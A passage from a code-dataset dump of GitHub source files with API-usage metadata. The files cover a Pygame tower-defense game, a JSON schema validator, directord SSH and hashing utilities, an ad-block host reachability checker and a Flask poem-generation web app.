"usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.colorbar.ColorbarBase", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.colorbar.ColorbarBase", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.colorbar.ColorbarBase", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.colorbar.ColorbarBase", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.colorbar.ColorbarBase", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.colorbar.ColorbarBase", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}]}
{"seq_id": "39417782614", "text": "import pygame\r\nfrom .tower import Tower\r\nimport os\r\nimport math\r\nimport time\r\n\r\n\r\nrange_imgs = [pygame.transform.scale(pygame.image.load(os.path.join(\"game_assets/support_towers\", \"4.png\")).convert_alpha(), (90,90)),\r\n              pygame.transform.scale(pygame.image.load(os.path.join(\"game_assets/support_towers\", \"5.png\")).convert_alpha(), (90, 90))]\r\n\r\n\r\nclass RangeTower(Tower):\r\n    \"\"\"\r\n    Add extra range to each surrounding tower\r\n    \"\"\"\r\n    def __init__(self, x, y):\r\n        super().__init__(x,y)\r\n        self.range = 75\r\n        self.effect = [0.2, 0.4]\r\n        self.tower_imgs = range_imgs[:]\r\n        self.width = self.height = 90\r\n        self.name = \"range\"\r\n        self.price = [2000]\r\n\r\n    def draw(self, win):\r\n        super().draw_radius(win)\r\n        super().draw(win)\r\n\r\n    def support(self, towers):\r\n        \"\"\"\r\n        will modify towers according to abillity\r\n        :param towers: list\r\n        :return: None\r\n        \"\"\"\r\n        effected = []\r\n        for tower in towers:\r\n            x = tower.x\r\n            y = tower.y\r\n\r\n            dis = math.sqrt((self.x - x) ** 2 + (self.y - y) ** 2)\r\n\r\n            if dis <= self.range + tower.width/2:\r\n                effected.append(tower)\r\n\r\n        for tower in effected:\r\n            tower.range = tower.original_range + round(tower.range * self.effect[self.level -1])\r\n\r\n\r\ndamage_imgs = [pygame.transform.scale(pygame.image.load(os.path.join(\"game_assets/support_towers\", \"8.png\")).convert_alpha(), (90,90)),\r\n              pygame.transform.scale(pygame.image.load(os.path.join(\"game_assets/support_towers\", \"9.png\")).convert_alpha(), (90,90))]\r\n\r\n\r\nclass DamageTower(RangeTower):\r\n    \"\"\"\r\n    add damage to surrounding towers\r\n    \"\"\"\r\n    def __init__(self, x, y):\r\n        super().__init__(x,y)\r\n        self.range = 100\r\n        self.tower_imgs = damage_imgs[:]\r\n        self.effect = [0.5, 1]\r\n        self.name = \"damage\"\r\n        self.price = [2000]\r\n\r\n    def support(self, towers):\r\n        \"\"\"\r\n        will modify towers according to ability\r\n        :param towers: list\r\n        :return: None\r\n        \"\"\"\r\n        effected = []\r\n        for tower in towers:\r\n            x = tower.x\r\n            y = tower.y\r\n\r\n            dis = math.sqrt((self.x - x) ** 2 + (self.y - y) ** 2)\r\n\r\n            if dis <= self.range + tower.width/2:\r\n                effected.append(tower)\r\n\r\n        for tower in effected:\r\n            tower.damage = tower.original_damage + round(tower.original_damage * self.effect[self.level -1])\r\n", "repo_name": "techwithtim/Tower-Defense-Game", "sub_path": "towers/supportTower.py", "file_name": "supportTower.py", "file_ext": "py", "file_size_in_byte": 2519, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 324, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.transform.scale", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "tower.Tower", "line_number": 12, "usage_type": "name"}, {"api_name": "tower.x", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tower.y", "line_number": 38, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 40, "usage_type": "call"}, {"api_name": "tower.width", "line_number": 42, "usage_type": "attribute"}, {"api_name": "tower.range", "line_number": 46, "usage_type": "attribute"}, {"api_name": "tower.original_range", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 50, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 50, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "tower.x", "line_number": 73, "usage_type": "attribute"}, {"api_name": "tower.y", "line_number": 74, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 76, "usage_type": "call"}, {"api_name": "tower.width", "line_number": 78, "usage_type": "attribute"}, {"api_name": "tower.damage", "line_number": 82, "usage_type": "attribute"}, {"api_name": "tower.original_damage", "line_number": 82, "usage_type": "attribute"}]}
{"seq_id": "29464787860", "text": "import sys\nimport json\nfrom jsonschema import exceptions, validate\n\nJSON_SCHEMA = {\n    \"type\": \"object\",\n    \"properties\": {\n        \"id\": {\"type\": \"number\"},\n        \"name\": {\"type\": \"string\", \"minLength\": 1},\n        \"course\": {\"type\": \"string\", \"minLength\": 1, \"enum\": [\"MS\", \"MSc\"]},\n        \"subjects\": {\n            \"type\": \"array\",\n            \"minItems\": 1\n        },\n        \"email\": {\"type\": \"string\", \"minLength\": 1},\n        \"thesis\": {\n            \"type\": \"object\",\n            \"properties\": {\n                \"title\": {\"type\": \"string\"}\n            },\n            \"required\": [\"title\"]\n        }\n    },\n    \"required\": [\n        \"id\",\n        \"name\",\n        \"subjects\",\n        \"email\",\n        \"thesis\"\n    ]\n}\n\nwith open(\"student.json\") as file_obj:\n    data = json.load(file_obj)\n\ntry:\n    validate(instance=data, schema=JSON_SCHEMA)\nexcept exceptions.ValidationError as validation_err:\n    print(\"Failed {}\".format(validation_err))\n    sys.exit(1)\n\nprint(\"Pass\")", "repo_name": "aadidubey7/python-json-schema-validator", "sub_path": "index.py", "file_name": "index.py", "file_ext": "py", "file_size_in_byte": 982, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.load", "line_number": 34, "usage_type": "call"}, {"api_name": "jsonschema.validate", "line_number": 37, "usage_type": "call"}, {"api_name": "jsonschema.exceptions.ValidationError", "line_number": 38, "usage_type": "attribute"}, {"api_name": "jsonschema.exceptions", "line_number": 38, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 40, "usage_type": "call"}]}
{"seq_id": "31055272163", "text": "import hashlib\nimport json\nimport os\nimport pkgutil\nimport socket\nimport sys\nimport time\nimport uuid\n\nimport tabulate\nimport yaml\n\nfrom ssh import options\nfrom ssh.session import Session\nfrom ssh import key as ssh_key\n\nfrom directord import components\nfrom directord import logger\n\n\ndef dump_yaml(file_path, data):\n    \"\"\"Dump data to a file.\n\n    :param file_path: File path to dump data to\n    :type file_path: String\n    :param data: Dictionary|List data to dump\n    :type data: Dictionary|List\n    \"\"\"\n\n    with open(os.path.abspath(os.path.expanduser(file_path)), \"w\") as f:\n        yaml.safe_dump(data, f, default_flow_style=False)\n\n    return file_path\n\n\ndef merge_dict(base, new, extend=True):\n    \"\"\"Recursively merge new into base.\n\n    :param base: Base dictionary to load items into\n    :type base: Dictionary\n    :param new: New dictionary to merge items from\n    :type new: Dictionary\n    :param extend: Boolean option to enable or disable extending\n                   iterable arrays.\n    :type extend: Boolean\n    :returns: Dictionary\n    \"\"\"\n\n    if isinstance(new, dict):\n        for key, value in new.items():\n            if key not in base:\n                base[key] = value\n            elif extend and isinstance(value, dict):\n                base[key] = merge_dict(\n                    base=base.get(key, {}), new=value, extend=extend\n                )\n            elif extend and isinstance(value, list):\n                base[key].extend(value)\n            elif extend and isinstance(value, (tuple, set)):\n                if isinstance(base.get(key), tuple):\n                    base[key] += tuple(value)\n                elif isinstance(base.get(key), set):\n                    base[key].update(value)\n            else:\n                base[key] = new[key]\n    elif isinstance(new, list):\n        if extend:\n            base.extend(new)\n        else:\n            base = new\n\n    return base\n\n\nclass ClientStatus:\n    \"\"\"Context manager for transmitting client status.\"\"\"\n\n    def __init__(self, job_id, command, ctx):\n        \"\"\"Initialize the UNIX socket connect context manager.\"\"\"\n\n        self.ctx = ctx\n        self.job_id = job_id\n        self.command = command\n        self.job_state = ctx.driver.nullbyte\n        self.info = ctx.driver.nullbyte\n        self.data = None\n        self.stderr = ctx.driver.nullbyte\n        self.stdout = ctx.driver.nullbyte\n\n    def __enter__(self):\n        \"\"\"Upon enter, return the context manager object for future updates.\n\n        :returns: Object\n        \"\"\"\n\n        self.ctx.log.debug(\"Job [ %s ] start context\", self.job_id)\n        return self\n\n    def __exit__(self, *args, **kwargs):\n        \"\"\"Upon exit, send a final status message.\"\"\"\n\n        try:\n            self.stderr = self.stderr\n        except AttributeError:\n            pass\n\n        try:\n            self.stdout = self.stdout\n        except AttributeError:\n            pass\n\n        try:\n            self.info = self.info\n        except AttributeError:\n            pass\n\n        job_sent = self.ctx.driver.job_send(\n            msg_id=self.job_id,\n            control=self.job_state,\n            command=self.command,\n            data=self.data,\n            info=self.info,\n            stderr=self.stderr,\n            stdout=self.stdout,\n        )\n        self.ctx.log.debug(\n            \"Job [ %s ] message sent on exit, %s\", self.job_id, job_sent\n        )\n\n\nclass SSHConnect:\n    \"\"\"Context manager to remotely connect to servers using libssh.\n\n    The connection manager requires an SSH key to be defined, and exist,\n    however, upon enter the system will use the SSH agent is defined.\n    \"\"\"\n\n    def __init__(self, host, username, port, key_file=None, debug=False):\n        \"\"\"Initialize the connection manager.\n\n        :param host: IP or Domain to connect to.\n        :type host: String\n        :param username: Username for the connection.\n        :type username: String\n        :param port: Port number used to connect to the remote server.\n        :type port: Int\n        :param key_file: SSH key file used to connect.\n        :type key_file: String\n        :param debug: Enable or disable debug mode\n        :type debug: Boolean\n        \"\"\"\n\n        self.log = logger.getLogger(name=\"directord-ssh\", debug_logging=debug)\n        self.key_file = key_file\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.connect((host, port))\n\n        self.session = Session()\n        self.session.options_set(options.HOST, host)\n        self.session.options_set(options.USER, username)\n        self.session.options_set_port(port)\n        self.session.set_socket(self.sock)\n        self.session.connect()\n\n        self.log.debug(\n            \"Handshake with [ %s ] on port [ %s ] complete.\", host, port\n        )\n\n        self.channels = dict()\n        self.host = host\n        self.username = username\n        self.key_file = key_file\n\n    def _userauth_publickey_fromfile(self, key_file):\n        \"\"\"Import a private key file.\n\n        :param key_file: Fully qualified path to an ssh key file.\n        :type key_file: String\n        \"\"\"\n\n        key = ssh_key.import_privkey_file(key_file)\n        self.session.userauth_publickey(key)\n\n    def set_auth(self):\n        \"\"\"Set the ssh session auth.\"\"\"\n\n        if self.key_file:\n            self._userauth_publickey_fromfile(key_file=self.key_file)\n            self.log.debug(\"Key file [ %s ] added\", self.key_file)\n        else:\n            try:\n                self.session.userauth_agent(self.username)\n                self.log.debug(\"User agent based authentication enabled\")\n            except Exception as e:\n                self.log.warning(\n                    \"SSH Agent connection has failed: %s.\"\n                    \" Attempting to connect with the user's implicit ssh key.\",\n                    str(e),\n                )\n                home = os.path.abspath(os.path.expanduser(\"~\"))\n                default_keyfile = os.path.join(home, \".ssh/id_rsa\")\n                if os.path.exists(default_keyfile):\n                    self._userauth_publickey_fromfile(key_file=default_keyfile)\n                    self.log.debug(\n                        \"Implicit key file [ %s ] added\", self.key_file\n                    )\n                else:\n                    self.log.critical(\n                        \"No implicit key found [ %s ]. Setup user-agent\"\n                        \" authentication or use the --key-file\"\n                        \" argument to explicitly set the required\"\n                        \" ssh key.\",\n                        default_keyfile,\n                    )\n                    raise SystemExit(\"Authentication failure\")\n\n    def __enter__(self):\n        \"\"\"Connect to the remote node and return the ssh and session objects.\n\n        :returns: Tuple\n        \"\"\"\n\n        self.set_auth()\n        return self\n\n    def __exit__(self, *args, **kwargs):\n        \"\"\"Upon exit, close the ssh connection.\"\"\"\n\n        for key, value in self.channels.items():\n            if hasattr(value, \"close\"):\n                value.close()\n                self.log.debug(\"%s channel is closed.\", key)\n\n        self.session.disconnect()\n        self.log.debug(\"SSH session is closed.\")\n\n\ndef file_sha3_224(file_path, chunk_size=10240):\n    \"\"\"Return the SHA3_224 sum of a given file.\n\n    Default chunk size: 10K.\n\n    :param file_path: File path\n    :type file_path: String\n    :param chunk_size: Set the read chunk size.\n    :type chunk_size: Integer\n    :returns: String\n    \"\"\"\n\n    sha3_224 = hashlib.sha3_224()\n    if os.path.exists(file_path):\n        with open(file_path, \"rb\") as f:\n            while True:\n                data = f.read(chunk_size)\n                if not data:\n                    break\n                else:\n                    sha3_224.update(data)\n\n        return sha3_224.hexdigest()\n\n\ndef object_sha3_224(obj):\n    \"\"\"Return the SHA3_224 sum of a given object.\n\n    The object used for generating a SHA3_224 must be JSON compatible.\n\n    :param file_path: File path\n    :type file_path: String\n    :returns: String\n    \"\"\"\n\n    return hashlib.sha3_224(json.dumps(obj).encode()).hexdigest()\n\n\ndef get_uuid():\n    \"\"\"Return a new UUID in String format.\n\n    :returns: String\n    \"\"\"\n\n    return str(uuid.uuid4())\n\n\ndef print_tabulated_data(data, headers):\n    \"\"\"Print data in tabulated form.\n\n    :param data: Organized data\n    :type data: List\n    :param headers: List of headers\n    :type headers: List\n    \"\"\"\n\n    print(\n        tabulate.tabulate(\n            data,\n            headers=headers,\n            disable_numparse=True,\n        )\n    )\n\n\ndef return_poller_interval(poller_time, poller_interval, log=None):\n    \"\"\"Return a new poller interval time.\n\n    Review the poller time vs the current time, and if the poller is outside\n    our expected margins return a new poller time to cool down the poller\n    processes.\n\n    :returns: Integer\n    \"\"\"\n\n    current_time = time.time()\n    if current_time >= poller_time + 64:\n        if poller_interval != 2048:\n            if log:\n                log.info(\"Directord entering idle state.\")\n        poller_interval = 2048\n    elif current_time >= poller_time + 32:\n        if poller_interval != 1024:\n            if log:\n                log.info(\"Directord ramping down.\")\n        poller_interval = 1024\n\n    return poller_interval\n\n\ndef component_lock_search():\n    \"\"\"Return a list of available components.\"\"\"\n\n    paths = [\n        os.path.dirname(components.__file__),\n        os.path.join(sys.base_prefix, \"share/directord/components\"),\n        \"/etc/directord/components\",\n    ]\n    if sys.base_prefix != sys.prefix:\n        paths.insert(0, os.path.join(sys.prefix, \"share/directord/components\"))\n\n    lock_commands = set()\n    for importer, name, _ in pkgutil.iter_modules(paths):\n        component = importer.find_module(name).load_module(name)\n        try:\n            component_obj = component.Component()\n            if component_obj.requires_lock:\n                lock_commands.add(\n                    getattr(\n                        component_obj, \"lock_name\", name.lstrip(\"builtin_\")\n                    )\n                )\n        except AttributeError:\n            pass\n    else:\n        return lock_commands\n", "repo_name": "oshied/directord", "sub_path": "directord/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 10251, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.abspath", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 30, "usage_type": "call"}, {"api_name": "yaml.safe_dump", "line_number": 31, "usage_type": "call"}, {"api_name": "directord.logger.getLogger", "line_number": 153, "usage_type": "call"}, {"api_name": "directord.logger", "line_number": 153, "usage_type": "name"}, {"api_name": "socket.socket", "line_number": 155, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 155, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 155, "usage_type": "attribute"}, {"api_name": "ssh.session.Session", "line_number": 158, "usage_type": "call"}, {"api_name": "ssh.options.HOST", "line_number": 159, "usage_type": "attribute"}, {"api_name": "ssh.options", "line_number": 159, "usage_type": "name"}, {"api_name": "ssh.options.USER", "line_number": 160, "usage_type": "attribute"}, {"api_name": "ssh.options", "line_number": 160, "usage_type": "name"}, {"api_name": "ssh.key.import_privkey_file", "line_number": 181, "usage_type": "call"}, {"api_name": "ssh.key", "line_number": 181, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path", "line_number": 200, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 201, "usage_type": "call"}, {"api_name": "os.path", "line_number": 201, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 202, "usage_type": "call"}, {"api_name": "os.path", "line_number": 202, "usage_type": "attribute"}, {"api_name": "hashlib.sha3_224", "line_number": 250, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 251, "usage_type": "call"}, {"api_name": "os.path", "line_number": 251, "usage_type": "attribute"}, {"api_name": "hashlib.sha3_224", "line_number": 273, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 273, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 282, "usage_type": "call"}, {"api_name": "tabulate.tabulate", "line_number": 295, "usage_type": "call"}, {"api_name": "time.time", "line_number": 313, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 332, "usage_type": "call"}, {"api_name": "os.path", "line_number": 332, "usage_type": "attribute"}, {"api_name": "directord.components.__file__", "line_number": 332, "usage_type": "attribute"}, {"api_name": "directord.components", "line_number": 332, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 333, "usage_type": "call"}, {"api_name": "os.path", "line_number": 333, "usage_type": "attribute"}, {"api_name": "sys.base_prefix", "line_number": 333, "usage_type": "attribute"}, {"api_name": "sys.base_prefix", "line_number": 336, "usage_type": "attribute"}, {"api_name": "sys.prefix", "line_number": 336, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 337, "usage_type": "call"}, {"api_name": "os.path", "line_number": 337, "usage_type": "attribute"}, {"api_name": "sys.prefix", "line_number": 337, "usage_type": "attribute"}, {"api_name": "pkgutil.iter_modules", "line_number": 340, "usage_type": "call"}]}
{"seq_id": "15732881306", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Feb 12 12:43:46 2023\r\n\r\n@author: NBMS1\r\n\"\"\"\r\n\r\nimport httpx\r\nimport trio\r\nimport pandas as pd\r\n\r\ndf = 'C:/Users/NBMS1/Downloads/hosts.txt'\r\n\r\n# Reading CSV\r\ndef read_Hosts(fil_Nam):\r\n     with open(fil_Nam) as temp_fil:\r\n         col_count = [ len(l.split(\",\")) for l in temp_fil.readlines() ]\r\n         column_names = [j for j in range(0, max(col_count))]\r\n         df = pd.DataFrame()\r\n         df = pd.read_csv(fil_Nam, delimiter=\",\", names=column_names, header=None,index_col=None)\r\n     return df\r\n     df.clear()\r\n     \r\nurl_List = read_Hosts(df)\r\n\r\nurl_List.columns =['URL','Name']\r\nurl_List['URL'] = 'http://' + url_List['URL'].astype(str)\r\n\r\nWorking_URLs = []\r\n\r\n\r\nasync def main(url):\r\n    async with httpx.AsyncClient() as client:\r\n        try:\r\n            response = await client.get(url)\r\n            if response is not None:\r\n                Working_URLs.append(url)\r\n        except httpx.ConnectError:\r\n            return False\r\n        except httpx.ReadTimeout:\r\n            return False\r\n        except httpx.ReadError:\r\n            return False\r\n        except httpx.ConnectTimeout:\r\n            return False\r\n        except httpx.RemoteProtocolError:\r\n            return False\r\n            \r\n            \r\n# import pandas as pd\r\n# #websites = pd.read_csv('C:/Users/NBMS1/Downloads/Most Popular websites.csv', index_col=0)\r\n# websites = pd.read_csv('C:/Users/NBMS1/Downloads/websites.csv', header=None,index_col=None)\r\n# websites.columns =['Name', 'URL', 'Rank']\r\n# websites['URL'] = 'http://' + websites['URL'].astype(str)\r\n\r\nfor _, website in url_List.iterrows():\r\n    trio.run(main,website['URL'])\r\n\r\npd.DataFrame(Working_URLs).to_excel('C:/Users/NBMS1/Downloads//Export_Hosts.xlsx')", "repo_name": "kaabir/AdBlock_Hosts", "sub_path": "Scan_active_urls.py", "file_name": "Scan_active_urls.py", "file_ext": "py", "file_size_in_byte": 1750, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.DataFrame", "line_number": 19, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 20, "usage_type": "call"}, {"api_name": "httpx.AsyncClient", "line_number": 33, "usage_type": "call"}, {"api_name": "httpx.ConnectError", "line_number": 38, "usage_type": "attribute"}, {"api_name": "httpx.ReadTimeout", "line_number": 40, "usage_type": "attribute"}, {"api_name": "httpx.ReadError", "line_number": 42, "usage_type": "attribute"}, {"api_name": "httpx.ConnectTimeout", "line_number": 44, "usage_type": "attribute"}, {"api_name": "httpx.RemoteProtocolError", "line_number": 46, "usage_type": "attribute"}, {"api_name": "trio.run", "line_number": 57, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 59, "usage_type": "call"}]}
{"seq_id": "70839194173", "text": "from flask import Flask,render_template,request,session,redirect,jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nimport json\nfrom datetime import datetime\nimport os\nfrom werkzeug.utils import secure_filename\nimport math\nfrom flask_mail import Mail\nfrom model_functs import generate_text,suggestions\nfrom keras.models import load_model\nimport re\nimport os\n\nexport_path = os.path.join(os.getcwd(), 'models', 'shakespeare_bi_400_ud_loss_0.66')\nshake_model=load_model(export_path)\n\ndef suggest(seed,model):\n\tsuggested=[]\n\tsuggested.append(suggestions(seed,model,346).replace('\\n','\\\\n'))\n\tsuggested.append(suggestions(seed,model,346//2).replace('\\n','\\\\n'))\n\tsuggested.append(suggestions(seed,model,346//4).replace('\\n','\\\\n'))\n\treturn suggested\n\n\n\n\n\n\nwith open('config.json','r') as c:\n\tparams=json.load(c)['params']\nlocal_server=True\n\napp=Flask(__name__)\napp.secret_key='super-secret-key'\napp.config.update(\nMAIL_SERVER='smtp.gmail.com',\nMAIL_PORT='465',\nMAIL_USE_SSL='True',\nMAIL_USERNAME=params['gmail_user'],\nMAIL_PASSWORD=params['gmail_pwd']\n)\napp.config['UPLOAD_FOLDER']=params['upload_location']\nmail=Mail(app)\n\nif (local_server==True):\n\tapp.config['SQLALCHEMY_DATABASE_URI'] = params['local_uri']\nelse:\n\tapp.config['SQLALCHEMY_DATABASE_URI'] = params['prod_uri']\ndb=SQLAlchemy(app)\n\nclass Posts(db.Model):\n\tsno = db.Column(db.Integer, primary_key=True)\n\ttitle = db.Column(db.String(50), unique=False, nullable=False)\n\tslug=db.Column(db.String(21))\n\tcontent = db.Column(db.String(120), unique=False, nullable=False)\n\tdate=db.Column(db.String(50))\n\timg_file=db.Column(db.String(12))\n\ttagline=db.Column(db.String(50))\n\n\nclass Contacts(db.Model):\n    sno = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String(50), unique=False, nullable=False)\n    phone_no=db.Column(db.String(50))\n    email = db.Column(db.String(50), unique=False, nullable=False)\n    msg=db.Column(db.String(50))\n\n@app.route('/',methods=['POST','GET'])\ndef home():\n\t#PAGINATION LOGIC\n\ttext=''\n\treturn render_template('index.html',params=params,text=text)\n\n@app.route('/generate_poem',methods=['POST','GET'])\ndef generate_poem():\n\t#PAGINATION LOGIC\n\ttext=''\n\tif(request.method=='POST'):\n\t\tprint('successfully')\n\t\tauthor=request.form.get('author')\n\t\tlen_text=request.form.get('len_text')\n\t\tseed=request.form.get('seed')\n\t\tprint(request.form)\n\t\tif(author=='Shakespeare'):\n\t\t\ttext=generate_text(seed, int(len_text), shake_model, 344)\n\t\t\ttext=text.split('\\n')\n\t\t\tif len(text[-2])//2>len(text[-1]):\n\t\t\t\ttext='\\n'.join(text[:-1])\n\t\t\telse:\n\t\t\t\ttext='\\n'.join(text)\n\treturn render_template('generative.html',params=params,text=text)\n\n\n\n\n@app.route('/about')\ndef about():\n\treturn render_template('about.html',params=params)\n\n@app.route('/contact',methods=['GET','POST'])\ndef contact():\n\tif (request.method=='POST'):\n\t\tname=request.form.get('name')\n\t\temail=request.form.get('email')\n\t\tmsg=request.form.get('msg')\n\t\tphone=request.form.get('phone')\t\n\t\tentry=Contacts(name=name,phone_no=phone,email=email,msg=msg)\n\t\tdb.session.add(entry)\n\t\tdb.session.commit()\n\t\tmail.send_message('Send message from '+name,\n\t\t\tsender=email,recipients=[params['gmail_user']],\n\t\t\tbody=msg+phone)\n\treturn render_template('contact.html',params=params)\n\n\n@app.route('/autocomplete', methods=['POST'])\ndef autocomplete():\n\tif request.method=='POST':\n\t\tresults=[]\n\t\tseed = request.form.get('seed')\n\t\tprint(seed)\n\t\tprint(type(seed))\n\t\tresults=suggest(seed, shake_model)\n\t\treturn jsonify(results)\n\n\n@app.route('/dashboard',methods=['GET','POST'])\ndef dashboard():\n\tif('user' in session and session['user']==params['admin_user']):\n\t\tposts=Posts.query.all()\n\t\treturn render_template('dashboard.html',params=params,posts=posts)\n\tif(request.method=='POST'):\n\t\tu_name=request.form.get('uname')\n\t\tpwd=request.form.get('pwd')\n\t\tif(u_name==params['admin_user'] and pwd==params['userpass']):\n\t\t\t#set the session variable\n\t\t\tsession['user']=u_name\n\t\t\tposts=Posts.query.all()\n\t\t\treturn render_template('dashboard.html',params=params,posts=posts)\n\telse:\n\t\treturn render_template('login.html',params=params)\n\n\n@app.route('/post/<string:post_slug>',methods=['GET'])\ndef post_route(post_slug):\n\tpost=Posts.query.filter_by(slug=post_slug).first()\n\n\treturn render_template('post.html',params=params,post=post)\n@app.route('/suggestive', methods=['POST','GET'])\ndef suggestive():\n\tif request.method=='POST':\n\t\tseed = request.form.get('seed')\n\t\tprint(type(seed))\n\t\tresult=suggest(seed, shake_model)\n\t\tseed=seed.replace('\\n','\\\\n')\n\t\t\n\t\treturn render_template('post.html',params=params,results=list(set(result)),seed_text=seed)\n\telse:\n\t\treturn 